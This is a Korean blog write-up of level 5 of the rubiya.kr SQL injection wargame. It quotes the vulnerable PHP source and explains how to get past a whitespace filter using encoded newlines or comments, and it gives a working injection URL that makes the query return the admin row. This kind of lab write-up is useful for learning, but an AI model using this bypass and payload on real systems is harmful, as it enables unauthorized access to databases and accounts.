webhacking/sql, sql injection

rubiya.kr 5번.

qkqhxla1 2014. 8. 28. 14:15

http://rubiya.kr/sqli/prob5.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  
$query "select id from prob5 where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve(); 
  
highlight_file(__FILE__); 
?>


pw를 받아서 일반 공백을 필터링하고 쿼리를 돌렸을때 결과가 admin이면 통과.


공백 필터링은 %0a,%0b,%0c,%0d, /**/ 등으로 가능합니다. 


http://blog.naver.com/withrubiya/70170942917 )


pw만 입력이 가능하니 id=guest, pw=아무거나 또는 id=admin 같은 형식으로 쿼리를 만들어주면


guest의 결과값은 사라지고, admin이라는 값만 나오겠네요.


http://rubiya.kr/sqli/prob5.php?pw=g%27%0aor%0aid=%27admin


query : select id from prob5 where id='guest' and pw='g' or id='admin'



'webhacking > sql, sql injection' 카테고리의 다른 글

rubiya.kr 7번  (0) 2014.08.28
rubiya.kr 6번  (0) 2014.08.28
rubiya.kr 4번  (0) 2014.08.28
rubiya.kr 3번  (0) 2014.08.28
rubiya.kr 2번  (0) 2014.08.28